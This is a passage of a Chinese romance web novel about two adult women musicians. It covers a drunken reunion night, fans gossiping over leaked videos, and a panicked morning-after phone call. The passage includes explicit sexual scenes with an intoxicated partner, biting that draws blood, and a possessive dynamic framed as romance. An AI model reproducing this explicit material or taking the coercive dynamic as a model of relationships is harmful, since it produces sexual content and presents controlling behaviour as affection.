捧着对方的脸颊的手又抚过鬓发,落在耳垂处,轻轻揉捏。 她柔着声,耐心解释:“我外面没有狗。” “有,”许风扰哪裏听得见去这些,指着肩膀处的痕迹就开始闹。 “谁咬的?” “你咬的,”柳听颂耐心解释。 “我不信!” 之前情绪得压抑太久,这会终于能有理由发洩,便闹腾着不肯停。 柳听颂没有一丝不耐烦,又哄道:“没有别的狗,就是你白天抱着我在门口咬的。” 醉鬼眯了眯眼,回忆却没有结果,最后又硬邦邦道:“我不信,我才不是那种会乱咬人的狗。” 斩钉截铁的语气,好像她真的无辜。 指尖在发间穿梭,撩起杂乱的白发,替她一点点撩至耳后。 柳听颂又哄道:“那怎么才能信?” “证据,”许风扰眨了眨眼,又有眼泪落下。 明明是压制柳听颂的上位者,却变得软趴趴的小媳妇。 “你要给我看证据。” 幸好白日裏拍了照片,柳听颂拿出手机就往相册翻。 “是不是你咬的?”她拍了拍许风扰的脑袋。 “乖,不哭了,”被酒精熏过的嗓音更柔,没有半点不耐烦。 许风扰拿着她手机,表情既困惑又迷茫,好像真的是自己咬的 可下一秒她又闹腾起来,念念叨叨就道:“假的,我没有咬。” “我才不是那种会咬人的坏东西。” 手机被丢在一边,柳听颂还没有来得及辩驳,那人就一下子压下来,咬住她的脖子,哼哼道:“你骗我,你又骗我,你每次都骗我。” 尖锐齿尖在薄皮上碾压,一边咬着人还要一边哭,不知道的还以为是她在被欺负。 柳听颂仰了仰头,方便许风扰咬她,甚至出声哄道:“我怎么会给别人咬” 咬住薄皮的犬牙微微一松,露出被咬红的湿漉漉皮肤,许风扰好像懵了下,突然开始思考。 柳听颂还想以为那人开始自我检讨,可许风扰却一下子皱起脸,又嚷嚷道:“柳听颂,我嘴疼。” 那人表情一急,登时就问道:“哪裏疼?” “是不是刚刚薯条吃太多了,上火了?” 许风扰和旁人不一样,多年的清淡饮食让味觉变得敏感,些许刺激都会让她皱眉,更何况是啤酒,总要吃些东西垫着才能咽下啤酒。 其实她喝得也不多,而且还掺了两盘薯条,看楚澄等人就知道,基本清醒着,只有许风扰醉成这幅样子,被她们好一阵笑。 不过也不怪许风扰,一直没怎么喝过酒,未成年前不曾沾染,成年后没过多久就遇到柳听颂,便和酒精彻底划开界限。 听到问话,许风扰明显呆了下,然后才慢吞吞回答:“有东西在夹我。” 目光垂落,视线落在唇间的银环,夹扣的首饰就是这样,虽然免于打孔,但戴久了就很疼。 柳听颂表情稍缓,便道:“那我帮你取下来。” 许风扰就乖乖点头,满头白毛也跟着晃。 柳听颂眼眸一弯,忍不住笑起,当即又夸道:“乖宝。” 要是许风扰还清醒着,必然会察觉到柳听颂此刻的语气,和夸三斤的时候一模一样,吃完一碗猫粮也夸、起来跑两步也夸、甚至三斤主动走过来贴贴也是这样,好像猫做了什么不得了的大好事。 可许风扰现在并不清醒,甚至因为柳听颂的夸夸而扬起眉稍,有些得意,主动贴向柳听颂伸过来的手,微微张开嘴。 指尖触碰唇瓣,无法避免地探向裏头,才能将唇环解开。 “痒,”许风扰含糊说了句,齿尖轻咬住柳听颂。 “一下就好了,”柳听颂耐心哄着。 那人却不肯松开,酒醉后的人没有道理可言,根本不会配合,又一遍重复:“痒。” 舌尖触碰指尖,泛起潮湿又酥麻的痒。 许风扰的注意力被吸引,抬舌勾勒着指纹,像在迷宫中穿梭,迟迟找不到出口。 柳听颂痒得不行,下意识曲指,却压住对方的舌,嘴也跟着张开更多。 那人就可怜兮兮地看过来,眼泪又开始掉。 “别哭,”柳听颂最是心软,哪裏能无动于衷,刚刚准备退出来的手指又僵在那裏。 “柳听颂,”那人含糊喊道,反复舔舐着指尖。 银环偶尔撞向指节,难言的感触不断从最敏///感的指尖传来。 柳听颂眼眸暗了暗,呼吸微重,若说之前还能勉强克制,可这几日被许风扰逗弄得不上不下,连个吻都贪婪吮吸,将时间不断延长,可见她饿成怎么样,而现在又被这样撩拨…… “别、别闹,”她吸了口气,强行维持着清醒。 “宝宝,别闹了好不好?”她放柔声音央求,情///欲攀上眼尾,发颤的眼睫还盛着滴落的眼泪。 “宝宝,”她声调越低,尾音就更哑。 可与话语相反的是她不曾抽出的手指。 一面理智克制,一面又忍不住沉沦。 直到那人低笑着拆穿:“柳听颂你动///情了。” 精致的眉眼写满了恶劣,眼眶的红与唇边的水光又将这种感觉模糊,让人分不清她是故意还是无心。 “你好容易这样,”那人说得懵懂,像在讨论一个非常正常的身体反应。 “你在医院陪我的时候,每天晚上都要偷偷洗冷水澡,”她毫不客气地拆穿。 “你晚上偷偷亲我。” “很多次,”她这样强调。 原来那些自以为隐秘的小动作,早就被当事人发现。 柳听颂咬紧下唇。 “柳听颂,你好涩,”她这样总结。 若在其他时候,或许还不会那么难堪,可现在许风扰醉醺醺的,覆着水雾眼眸透着懵懂,即便带着促狭意味,又难掩恶劣的孩子气。 “涩鬼,”她这样喊。 柳听颂想要捂住她的嘴,却被吻在掌心。 那人抬眼看她,好像在说你看,我就知道你喜欢。 “柳听颂你馋我,”她语气肯定。 “今天你偷偷看我了,看我的腰……”她眨了眨眼。 她拖长语调:“唇环。” “耳朵。” “你是想亲还是想摸?”她偏了偏头,像好学生在寻求答案。 “别说了、”柳听颂没有给她答案,只是再次央求,耳垂红透。 许风扰将柳听颂的手腕扣住,整个人往下压,鼻尖触碰鼻尖,还能嗅到一丝酒气,与许风扰本身的气息夹杂在一起,并不难闻,但有些醉人。 “柳听颂,你是不是很喜欢我”她低声询问。 扑扇的眼帘扫过柳听颂眼睫,让她退无可退,只能与自己对视。 “对、”柳听颂声音已经哑得不成样子,连回答都艰难。 “那你为什么会不要我?”她声音又委屈下来,满是不解。 “柳听颂,你为什么要走?”她又问。 这是重逢后她第一次开口询问,不知在心裏头压了多久,但却不敢主动提起,甚至连柳听颂冒出一点想说的苗头,她也慌张躲避,不是不在意,是太过在意,所以连触碰都不敢。 她又皱起脸,抽噎着控诉:“你就是不喜欢我。” “没有,”柳听颂急切解释,因太过慌张,下颌不由仰起,贴上对方唇瓣。 “我喜欢你。” “我怎么会不喜欢你,”她一遍又一遍重复,嘆息一般地轻轻开口:“我只喜欢过你,宝宝。” “我是你的,宝宝。” “我永远比你想象中的更喜欢你。” 她一遍又一遍重复,许风扰却没有露出开心神色,反倒拧着眉头,喝声道:“我不信。” “你是骗子。” 她眼底有恨意闪过,束住手腕的手越发用力,整个人都冒起尖刺。 她欺身而下,一口咬住柳听颂的唇,带着腥气的铁锈味瞬间扩散开。 柳听颂不由绷紧身子,疼得吸气。 可那人却没有停,语气愤恨:“柳听颂,你也要像他们一样不要我。” “我没、呜……” 话还没有说完就被堵住,继而是一个又一个暴戾的吻,眼泪席卷而来,不断往柳听颂脸颊落,如烙铁般印下。 衣服被拉扯,覆着厚茧的手从衣角探入,蛮横往裏挤。 同时膝盖往上抵,柳听颂突然曲了曲身,发出一声难耐闷哼,抬手揪住对方衣领。 第43章 姐姐,我不会 是夜, 上了一天班的简竹往沙发一躺,半死不活地拿出手机,习惯性就往柳听颂超话裏看, 连扫半个小时后才切了软件。 作为超话小管理, 简竹手机裏的南畜群不少,因柳听颂回归后, 更是每天都到99+。 她随意扫了几眼后就没精力了,加班要命,哪有什么心情理会这些, 直到将消息列表翻到后面, 才见到几个好友的消息。 简竹点开其中一个最多的, 刚想发个表情包随便应付一下,却在瞧见对方消息时, 骤然僵住。 自上次综艺后, 简竹将那首合作曲翻来覆去听了几百遍, 最后还是没忍住爬墙, 翻出燃陨乐队的歌, 待简竹反应过来后, 自己的歌单已被燃陨占领, 甚至还关注了超话,认识了几个小管理。 现下在聊天的这人就是燃陨超话管理之一。 “我靠,”简竹忍不住爆了个粗口,这才入坑几天就吃到瓜了 她连忙将对方发的视频打开,那视频极糊,像是从很远距离偷拍的, 虽然晃个不行,但还是能认出视频中的主角——燃陨乐队的主唱许风扰。 虽带着口罩、鸭舌帽, 但瞧那青隽背影,即便有穿搭柔和,也难掩的凌厉气质,即便往人堆裏一丢,也能被一眼看出。 而被她紧紧牵着、站在她身后的女人,即便看不清面容,也能凭对方凉薄矜雅的气质中,窥得其容貌的惊艳。 最关键的是,两人虽没有穿得一模一样,但明显是故意搭配过,衬衫与衬衫,裏头都露腰,无论是谁瞧见,都不会怀疑她们之前的亲密。 怪不得,前两天许风扰突然发视频、唱情歌。 明星一不对劲,就是恋爱了。 简竹忍不住将视频放大,眯着眼继续看。 对面的楚澄显然与许风扰的女朋友很熟,几次倾身过来打趣。 而许风扰看着不动声色,但每次在楚澄靠过来时,她都会默默侧身,半挡住女朋友,拉远楚澄和她的距离。 哟,这许风扰还是个占有欲超强的醋王啊。 因没粉几天、又只是歌迷的原因,简竹没有好友的崩溃与疯狂,抱着吃瓜的心态,看得津津有味。 伴随三人上楼,这个视频就此结束。 另外一个视频就更晃了,看出来是急急忙忙掏出手机、点开相机的,压低哦凑声一句连着一句,慌得不行,好不容易才定住焦。 这段是在燃陨几人结束散场后,许风扰的鸭舌帽不知被丢到何处,连口罩都没有,整个人醉醺醺,如同树袋熊一般双手环抱住女朋友的腰,对方往前挪一步,她就走一步。 就连简竹这个局外人都看得牙酸。 好端端一个酷姐,居然是个粘对象的恋爱脑 要不是瞧见正脸,简竹都要怀疑这人到底是不是许风扰了。 视频往后,几人一并走出酒吧,不知是不是有所察觉,被许风扰抱着的人,突然偏头看向这边,拍摄者吓得一晃,手机落地,彻底黑屏。 而简竹同样一抖,在那冷肃一瞥下,竟冒出和拍摄者一样心虚。 不过很快她就笑起来,觉得自己太莫名其妙,又不是她拍的,有什么好心虚的。 不过…… 那人怎么有一种莫名的熟悉感。 简竹想了想又搁下,只当是娱乐圈裏的人,她觉得眼熟也正常,压根没敢往柳听颂身上想。 正当这时,朋友又不断发来消息。 简竹抬眼一看,这人已经从崩溃到自我安慰。 【我家阿风那么好的人,别人喜欢上也正常对不对?】 【呜呜,我是不是不该生气,孩子那么大了才谈一回恋爱】 【其实她女朋友也不错,起码没像其他女明星找个又矮又挫的丑男,这个对象一看就是大美女】 【你有没有看见我家阿风的那个腰,马甲线老好看了,吸溜,也不知道摸起来是什么手感,哦对,我是摸不到了,而别人今晚就能细细感受了】 【阿风以前都不碰有刺激性的东西,现在居然为了女朋友喝酒了,啊啊啊】 简竹看着这不断刷屏的消息,眉头直跳,不过转念一想,要是她家柳听颂谈恋爱了,她估计会比对方还要疯狂,便连忙打字安慰起来。 那人崩溃了半天,终于好转些许,憋住一句【竹子你说,阿风今天喝了酒,又被那个女的抱着带走,她们今天晚上会不会……】* 简竹表情变得有点复杂,眼前闪过许风扰的那张脸,之前超话就有人提起,说许风扰看起来就是很会做的样子。 嗯…… 大家都是成年人了,有这方面也很正常对吧 感觉她们会有一个很不错的夜晚呢。 不过,她脑中虽这样想,却打出绝对不可能的五个字,虽然都清楚是假话,可是真话刺激人啊,再刺激下来,真不知道接下来会发生什么。 但…… 在温度攀升的房间裏。 看起来就是很会做的许风扰,说了一句:“姐姐,我不会。” 她说得过分坦然,以至于恶劣,眼眶还是红的,覆着朦胧的水雾,若不是柳听颂曾与她经历过一夜又一夜,一定会被她纯良的表情欺骗。 姿势不知何时调换,柳听颂跨坐在对方腿上。 衬衫敞开,白色吊带还在身上,却和不在没什么区别,在之前就被扯往上,半遮的丰腴柔软,露出纤薄腰腹随呼吸起伏,被情///欲侵染后,之前瓷白的肌肤泛起靡丽的红,与指痕交织在一块,变作诡谲怪诞的纹路。 发丝凌乱披肩,却无法遮住半点,吮吸啃咬过后过于瑰艳的唇微张,即便极力克制,也会有喘///息洩出。 随意丢在旁边的裤子,在此刻摔落在地,发出一声响。 两人却没有偏头理会,无心理会。 “宝宝、”柳听颂咬住唇,哑着声央求。 不上不下最是磨人,更别说她已经被这样的事情折磨过许多回,就好像被丢进沙漠裏的人,反复被虚假的海市蜃楼诱惑,却不曾喝到半点水,于是渴望不断迭加攀升,几乎要到崩溃的边缘。 黑白分明的眼眸,早已不似平日裏的清明,眸光破碎如湖面粼粼波光,泛着撩人的嫣红。 她试图靠近讨好,却被曲起的腿逼得闷哼一声,腰塌腿软,彻底压在作乱的腿上。 “宝……” 话还没有说完,那人又曲腿往上抵,碾磨在过分潮湿泥泞的地方。 她哪裏不会 她可最会了。 哪怕是有过几次经验的人,也不比这家伙会折腾人。 被泪水泡过碧色的眼眸,如雨后初晴,澄澈且干净,甚至因酒气,带着几分懵懵的稚嫩,可抬起的膝盖没有停下半点。 她委屈巴巴地拖着调,重复说着:“老师,我不会。” “听颂老师教教我好不好?” 好像真是个认真求知的学生。 可即便柳听颂想教,也没办法教,思绪被掠夺,大脑一片空白,被不断得顶///弄折腾,丧失了全部思考。 可当这时,许风扰又突然停下。 柳听颂也跟着跌坐。 “我不会,”她眨了眨眼,恶劣得令人发指。 柳听颂抬眼,幽幽一嗔。 被欺惨后,只冒出一句不轻不重的怨语:“坏狗。” 房间裏的灯光不算明亮,更偏向柔和的昏黄,照不了角落裏的漆黑,只将空间维持在半明半昧的氛围裏。 幸好白日懒散,未将窗帘扯开,这才免于一段无用路程,但不知为何,帘子中间还是露出一条缝隙,将隐隐约约露出外头阴沉的天空。 恍惚间已过去两月,这段时间的雨水越来越多,若是开始几天几夜地下着连绵小雨,便意味着夏暑将散,秋季将临。 不知有多少热得发慌的人,反复期盼这一时日早些到来。 但此刻的许风扰无心理会,自顾自往床头一靠,半躺的姿态最显懒散,玻璃珠子的眼眸瞅着对方,当真是个祖宗。 柳听颂被撩拨得难耐,只好由着对方的性子来,当即伸手去拽对方手腕。 既然对方说不会,那她就手把手地教。 可那人却故意,扯着手不给她拉。 “阿风,”柳听颂只好先哄着她,明明是被求着教的那个,现在却得求着对方学。 “宝宝。” 她声音越柔,之前学音律的天赋,现在全用在许风扰身上,短短几个字,也能喊出千回百转的调子,哪怕是块石头,也会被这汪春水捂化开。 可许风扰却不为所动,夜风往裏一吹,早被浸湿的膝盖便泛起凉意,还没有来得及吹干,又被暖水滴落,顺着肌肤不断往下滑,连床单都染成深色。 怪不得柳听颂总要洗澡,这完全是不得不洗。 这感受实在难挨,就连一向好脾气的柳听颂都被惹恼,想强拽许风扰的手。 可那人眼帘扑扇,便眨落几点泠泠碎泪,再带着哭腔说一句:“你又不要我了。” 这话落下,柳听颂即便有十分恼怒也没十一分,眼神一颤就哄道:“我怎么会、我怎么会舍得不要你。” “宝宝想怎么样就怎么样,好不好?” “怎么都行?”许风扰偏了偏脑袋,像个大狗一般的乖巧。 柳听颂肯定:“怎么样都可以。” 柳听颂被蛊惑着,做出保证:“我是你的,宝宝想怎么对我都可以。” 完全被许风扰拿捏住,仍由自己被对方支配。 之前的动作不被允许,柳听颂便贴身靠近,主动送到对方指尖,可那人却甩手躲开。 柳听颂缓了下,低头看向对方。 “我这裏没有那个东西,”许风扰仰起头,毫不心虚地与之对视。 柳听颂好像才反应过来,咬了咬牙,便要撑着发软的腿去取。 之前买东西时就有准备,一直放在她房间的柜子中,从未开封过。 可许风扰腿一曲,直接将人压回,禁锢在原处。 柳听颂有些迟钝,没能反应过来对方要做什么,毕竟微醺不代表完全清醒,再被欲///念煎熬,便无法再想其他。 “不想用,”明明是自己提的,那人却无赖起来。 “那就不用,”柳听颂回答得极快。 “不行,”许风扰又开始装起贴心,很严肃道:“不卫生。” “那我去拿?”柳听颂这次学会先问一句了。 心裏头突然就有些后悔,喝醉后的家伙可比清醒时过分太多,一会哭一会闹的,完全不知该如何哄。 但这也是她该受的,谁让她要让许风扰破戒,要将她教坏。 柳听颂没见过许风扰喝醉,也不知道她现在是因为酒醉,还是因为之前的那通电话,心情烦闷下故意折腾,毕竟自对方出门接电话后,表情就肉眼可见地差了不少,还自顾自地灌了好些酒。 “不要,”许风扰再一次拒绝,也不说其他,完全要柳听颂自己猜。 柳听颂无奈,想要低头讨吻,却被偏头躲开。 继而许风扰视线往下落,终于给出一点提示。 柳听颂咬住下唇,之前被咬出伤口还未结痂,现在又冒出血珠,些许发丝粘在脸颊,更是柔弱。 掐在腰间的手微微用力,像在催促。 还是纵着她,没办法不由着对方。 柳听颂微微挺直脊背,抬手捧住被薄布半遮半掩的地方,便往那人唇边送。 许风扰这一次终于没有躲开,可薄唇却紧闭。 柳听颂支撑不住太久,只能用另一只手勾住对方脖颈,一边喂还得一边哄:“宝宝。” “宝宝,尝一尝好不好?”沙哑的声音几次中断,又强撑着说完。 “求你,好不好?” 略微粗糙的地方几次触碰到唇间,勾勒着唇纹,掀起阵阵酥麻。 屋外有杂音响起,像是三斤在玩它的大号跑轮,这还是前两天柳听颂为了三斤的减肥大计,特地定制的,现在缅因被踩得噼裏啪啦,发出极吵闹的声响,像在生气一般。 缅因怒跑了十几分钟后,这才偏头往裏看,若是平常,只要它稍稍跑一会,那两个人类就会齐刷刷走出,对猫着一阵夸奖,就好像缅因做了什么了不得的事。 可它现在跑了那么久,却没有人理会。 缅因气得喵喵叫,最后往地上一跳,气鼓鼓地给了投食机一爪子,继而埋头大吃特吃。 不理猫,猫就吃死自己,心疼死你们。 可裏头的人实在无法分神理会。 终于松开的唇,吸吮、□□,偶尔又将唇瓣绷紧夹抿,齿尖轻拨。 柳听颂战///栗不止,手几次要落下,却又慌忙捧上,腰肢如雨中花枝,弯曲又挺直,反反复复。 可即便如此许风扰仍不肯动,只是曲了曲腿,意思明显。 柳听颂只好自己来,那薄弱的腰承受更多,覆在脑后的手在发间穿梭,控制不住地压着往前、往她怀裏按。 “宝宝、宝宝,”她破碎声音一次一次响起。 曲起又撑住的腿发着颤,几次要倒下却又被许风扰强行拉住,于是只能往前,彻底压住对方的脸,让许风扰发出唔的一声,散乱的长卷发披散往下,像是垂落的藤蔓,被风吹得不停摇晃。 此刻已是深夜,周围更安静了,除了某只猫的吃粮声,还有怎么都止不住的喘////息。 不知何时,外头已下起淅沥沥的小雨,云层更重,已将高楼一觉淹没,忽有闪电冒出,片刻又消散。 携着凄冷雨水的风掀起帘子,外头的猫也不折腾了,迈着大猫爪往沙发一跳,甩着尾巴就蜷缩成一团。 地上的衣物还无人捡起,就丢在那儿,被风吹得发冷。 柳听颂突然僵住,继而脱力般往许风扰肩头靠,如落水的人抱住浮木般紧紧缠住,急促呼吸在许风扰耳边响起。 许风扰终于抬手,勾住旁边的被子将两人裹住。 一时无话。 直到柳听颂缓了些,才见许风扰慢吞吞抬起脑袋,低笑说了句:“两次。” 没头没脑的话,柳听颂却听懂,耳垂更红,想要找个地方躲,却被许风扰抱紧,无处可逃,最后只能冒出一句不痛不痒地嗔怪:“坏狗。” 许风扰笑起,还在醉醺醺的,不知是因为酒液,还是怀裏的女人,低头又往之前的地方埋。 柳听颂早已疲倦至极,却没有往旁边躺,只是配合着抱紧对方,虚弱指尖反复抚过对方脑袋。 “柳听颂,别离开我,”被堵住的声音闷闷,难以听出全部语气。 “求你,永远别离开我。” 她今晚的情绪多变,一下子哭着装可怜,一下子又恶劣地不行,这会又无声哭出来,灼热眼泪不断滴落。 柳听颂却将她的全部情绪都接住,声音柔了又柔,一一答应:“好,不会离开你。” “永远不离开你。” “你发誓,”许风扰双臂收紧,如藤蔓绞住寄生的树:“你发誓永远不会离开我。” “我发誓永远不离开你,”柳听颂低头垂眼,看着怀裏脆弱的小孩,一遍耐心重复。 “我只有你了,”哭腔再一次出现,又很快压住,只有无声的眼泪不断落下,她不停重复:“我只有你了。” “我真的只有你了。” 被紧紧抱住的人呼吸略微困难,却没有将人推开,仍由对方抱着。 “别离开我、别走。” “不走,不会离开你的。” “如果你再跑,我就再也不原谅你了,”许风扰这样说,颤抖的声音毫无威慑力,却无人怀疑话语的真假。 “我会很讨厌你,一辈子都讨厌你。” 柳听颂停顿了下,而后才缓缓道:“好,不会让你讨厌我的。” “我再不会离开你,宝宝。” 怀裏的人重重点了点头,雨声将房间淹没,只剩下潮湿的寒。 在两人都不知道的时候,那条许风扰恋爱的词条,又一次冲上热搜。 可仍由吃瓜群众怎么问,都没有见到一个切实的证据,只有一个孤孤单单的词条杵在那儿,像是谁家买上去一般,徒留一堆吃瓜群众挠头抓耳,无处吃瓜。 第44章 宝宝,我的腿有点软 一觉醒来, 已是中午时分。 许风扰陷在柔软床铺裏,面容被杂乱白毛遮掩,眼帘微颤, 还未睁开, 就慢吞吞地翻了个身,将之前的蜷缩姿势改做仰躺。 薄被在胡乱翻身中, 只剩下一截被角,勉勉强强搭在身上,露出的细腰长腿晃眼, 膝盖周围还能瞧见未彻底消下去的红, 暗示着昨夜发生的一切。 “唔……”她发出沉闷一声, 抬手后以手背挡在眼前,酒后残留的意识开始慢慢浮现。 她昨天晚上好像做了什么…… 很了不得的事情。 腿无意识曲起些许, 即便在灰蒙蒙的空间中, 也白得几乎透明。 “姐姐, 我不会……” “教教我、” 带着哭腔的声音在脑海中回响, 曲折的腿, 脚下的床单全是折皱。 “坏狗, ”又恼又嗔的声音下, 却是纵容。 她瞧见柳听颂微微扭着过分纤细单薄的腰肢,细汗下越发明晰的线条,与之同时起落的是极力忍耐、却依旧从唇齿间洩出的喘息,其间还有自己咬破的痕迹,便显得越发艳妩。 这个方式显然比其他更艰难,即便一次次抵在圆润髌骨上, 磨着它上上下下,也无法很快缓解。 更何况, 许风扰还要使坏,不仅不肯抬手帮忙,还在柳听颂起身时,几次抬腿,惹得柳听颂一颤,之前的节奏也被打乱。 柳听颂柔声央求,她也不理,甚至故意偏腿躲开,要对方主动贴过去。 一连重复好几回,将早就该结束的过程无限拉长。 莫名的热攀上脸颊,昨夜酒醉不觉得过分的事情,现在反倒觉得羞窘起来。 刚平躺在床的许风扰,又默默蜷成之前那样,缩成一团,想要以此逃避,却无法压住脑海中的画面。 她甚至抿了抿唇,本是想将残余的感受压下,却回忆起更多,甚至冒出一丝担忧…… 在此过程裏,她可是一直要柳听颂用手捧着、喂她,虽然许风扰咬得并不重,可在不断扭动起伏中,难免拉扯,也会无意识用牙齿叼住。 记忆裏,她确实有瞧见柳听颂蹙起眉,发出轻嘶声。 但许风扰没有松开,甚至到柳听颂精疲力尽的时候,还要将哭哭啼啼的她抱在怀裏,一遍遍地哄。 想到这儿,许风扰宿醉后的脑袋更疼了。 虽然、虽然她确实有点理。 谁叫柳听颂故意喂她酒,还一次又一次违背她们之前的约定,她明明都没有同意柳听颂的靠近。 再说、再说…… 许风扰没再好意思给自己找借口,索性将那些事情全部压下,暂时逃避。 她深吸一口气,手就往旁边探,想要找到某个昨夜被她欺负惨的人。 可指尖滑过床单,却是空空如也的冰凉。 突然心悸。 许风扰一下子睁开眼,直勾勾看向平坦的另一边,心脏顿时抽痛了下,莫名慌乱的感觉蔓延至全身,指尖瞬间冰凉。 更早的回忆不受控制地涌现。 柳听颂不告而别的前一天晚上,她们也曾在床榻间彻夜缠///绵,可等到第二日,许风扰醒来时,房间裏已空无一人。 她起初还算镇定,以为柳听颂有什么急事,可当推开房门后,却只瞧见收拾干净的空客房,还有一遍又一遍都无法打通的电话。 她发疯似的找寻,却没有等到柳听颂的半点消息。 若非还有燃陨三人作证,她都要怀疑这一年的时光,全是她求而不得后的疯狂幻想,可这样的确定,却没有让她好过一点,反而陷入更痛苦的情绪中。 直到在网上看见柳听颂出国的消息,她才不得不承认,柳听颂确实用了一种极决然的方式,彻底离开了她。 许风扰坐起身,深吸了一口气,极力将情绪压住,告诉自己不要乱想。 明明在昨夜,柳听颂曾一遍遍向她保证,绝不会再离开她。 所以、 不会有事的。 许风扰闭上眼又睁开,极力将情绪压在眼底,可杵在床榻、不断发抖的手臂还是将她出卖。 她现在就好像一条被丢过的狗,任何风吹草动都会让她恐惧,冒出浓郁的不安全感。 眼眸倒映着面前场景,陌生又有点熟悉。 回忆又开始浮现,解释着眼前的这一幕。 她房间裏的床单被揉乱又湿透,根本无法让两人舒服睡下,于是等柳听颂趴在她身上休息片刻,两人才简单地冲了个澡,搬到柳听颂的房间。 想到这裏,许风扰稍平稳下来一点,可难言的烦闷又涌了上来。 觉得昨夜没洗干净,还想洗澡,要用过分粗粝的搓澡巾将全身上下都刷过一遍,直到都是刮出的红痕,甚至破了皮后,才算干净。 她伸手就去抓旁边的手机,通知栏裏瞬间冒出一堆东西,各种APP的推送,还有其他人发来的消息,尤其是燃陨那个小群,又到了99+,甚至楚澄还给她打过一个电话。 可许风扰无心理会,直接点了删除全部信息,便按向那个仍没有备注的电话号码。 嘟嘟声很快响起。 许风扰抿紧唇,绷紧下颌线凌厉,倒映着屏幕光亮的眼眸暗沉,恐慌与期盼交织。 她现在无比急切得需要一个肯定、一个安慰。 不怪许风扰这样。 她实在是被丢下太多次了。 幼年被嫌麻烦,被母亲丢给外公外婆。 外公外婆因工作繁忙,将她丢在家裏一夜又一夜。 后面又因选择不同,被外公外婆赶出家门。 再后面是柳听颂不告而别。 再到母亲与她彻底断绝关系。 她真的、真的是被丢怕了。 但凡她现在能动动脑子,都可以找出无数个理由,将她胡乱冒出的猜测否定。 例如,她现在还在柳听颂的房子裏,只要她不离开,柳听颂迟早要回来,总不能因为她而彻底放弃一套精心设计、装修的房子。 而且,但凡她愿意耐心倾听,或者打开门走出去,就能瞧见绕着猫爬架玩闹的缅因。 柳听颂为了这只猫废了多少心思,愣是舍不得送给旁人,想方设法从国外带回国内,而那猫换了那么远的地方,不仅没瘦,甚至还体重超标,被医生再说嘱咐必须减肥了。 可见柳听颂有多喜爱它,又怎么舍得将它丢下。 另外还有个最简单的法子,但凡许风扰愿意低头,往床下看一眼,就能瞧见因她刚拿手机而被甩飞的纸条,上头清清楚楚写着离开的原因。 可许风扰什么都做不了,在电话无法接通的下一秒,彻底瘫坐在床上,四肢发软。 她真的被丢怕了。 被合上的厚重窗帘被风吹晃了,露出一束光亮,划过她脸颊,一半阴郁,一半锐利,像一把被折断的刀,断口处全是锋利的铁茬,随时会因为防卫过当而伤及她人。 楚澄的电话又一次打来。 许风扰随手就拒绝,又拨打向柳听颂电话。 一个接着一个,反反复复,没有被接通就一直打,指尖冰凉,血液也好像一点点凝固下去,脚踝处的骨节明显,几乎要从薄皮中刺出,青色脉络更是清晰可见 外头传来喵声,许风扰却像聋了一样,完全听不见,越发偏执地拨打着电话。 她迫切地需要一个解释。 无论是什么。 无论发生了什么,都要柳听颂亲口回答她。 她不敢想之前一样去验证,怕之前的经历重演,怕打开衣柜、房门,看到被搬空的一切。 一连数十个都没有人接通。 所有的情绪都慢慢沉了下去,愤怒、恐慌、绝望、焦急、不安所有情绪都交织在一起,最后裹成一个巨大而肮脏的泥球,不断往下坠,直到被黑洞吞下,便只有空洞般的虚无。 被风拉扯开的缝隙,依稀能瞧见窗外的繁华,轮船往来的江水、高低起伏的高楼、商品橱窗倒映着人来人往,偶尔有人投去艳羡的一眼,满是渴望。 可这一切都与许风扰无关。 拨打的数字还在不断攀升,好像成了僵硬的提线木偶,只会重复着这样的动作。 干裂的嘴唇无意识抿起又张开,紧紧粘在一起的嘴皮被撕开,疼痛随之扩散,紧绷的脊背一直未放松。 刺眼的红色数字已超过三位数。 许风扰呆愣愣的,好像丢了魂魄。 她又要被丢下啦。 虽已经经历过很多次,但是还是有一点难过。 彙聚在眼尾的水雾,随着酸楚滴落,掉在仍在拨打界面的屏幕上,开出破碎的花。 一百三十一。 一百四十二。 一百六十,在限制拨号前,一直无望的嘟嘟声突然暂停,许风扰下意识想要继续拨打,可扬声器却传出柔和的声音。 “宝宝,你醒了?” 眼睫颤了下,许风扰沙哑的声音带着哭腔,质问道:“柳听颂你去哪了?” “你是不是又不要我了” “这一次你打算离开几年?五年十年还是更久?” 人潮拥挤的机场,被拖着的行李箱轮子滚动,皮鞋与运动鞋碾压而过,喇叭中传出极官方的女声。 而脱离人流的柳听颂站在落地窗前,虽然有口罩、墨镜将她的面容遮掩,但还是会有人投来探寻的目光。 可柳听颂无心理会,脖颈处还有许风扰留下的红印,随着说话时的喉管而不断颤动。 她声音更柔,带着浓郁的安抚意味,轻轻唤道:“宝宝、宝宝。” 另一边的人显然已到崩溃边缘,根本不管柳听颂在说什么,只顾着质问,如同一只炸毛的刺猬。 “柳听颂你这次你要躲到哪裏去?!” “这种戏码你还要玩几次?” “你真的以为我会一直等着你吗?!你做梦,你不要做梦了。” “宝宝,”柳听颂耐心地重复,声音更柔,生怕稍大声一些就会将另一人吓到,将已经无法拼凑的玻璃再一次击碎。 “乖宝,不要哭好不好?”她轻轻央求着,捏着手机的曲折指节已经发白。 身后的梨子已取到行李,站在她身后等待,心中焦急,却不敢上前打断,只能向周围张望,时不时跺脚。 直到另一边的声音稍弱,像是缓过来一些。 柳听颂才温和道:“对不起宝宝,因为今天有急事要处理,所以不能陪在你身边等你醒过来。” 对面没有出声,突然沉默。 柳听颂态度依旧,和昨夜将许风扰抱在怀裏的态度一样,温柔如暖洋洋的春水,四肢百骸在裏头浸泡,将坚硬冰冷的骨节慢慢化开。 “对不起宝宝,”她再一次重复,表情愧疚而诚恳,眼中闪过悔意。 她说:“不要怕好不好?” “我不会离开你的。” 那边传来布料窸窣声,却依旧没有回答,可熟悉许风扰的柳听颂却知道,对方并没有彻底放下心,就好像一场考核,眸光警惕的小兽在等待着你的完美答卷。 其实最好的办法是应该像之前、在剧场裏的那样,将许风扰抱在她怀裏,让她躲在自己的肩颈裏,一遍遍摸头安抚。 可现在的柳听颂没办法靠近她,她们中间甚至隔着几百公裏,以至于只能用这样无力薄弱的方式安慰。 那边好像传来含糊的一声响,听不出是什么。 柳听颂温声继续:“我只是有点工作要处理,宝宝忘记了吗?我之前和你说过了啊,我今天要到海城这边来,有一个拍摄。” 那边又陷入了沉默,这一次好像是在思考。 “早上我怕吵醒你,写了便利贴在床头柜的位置,你看见了吗?” 许风扰动了动,开始找那个被自己甩飞的便利贴。 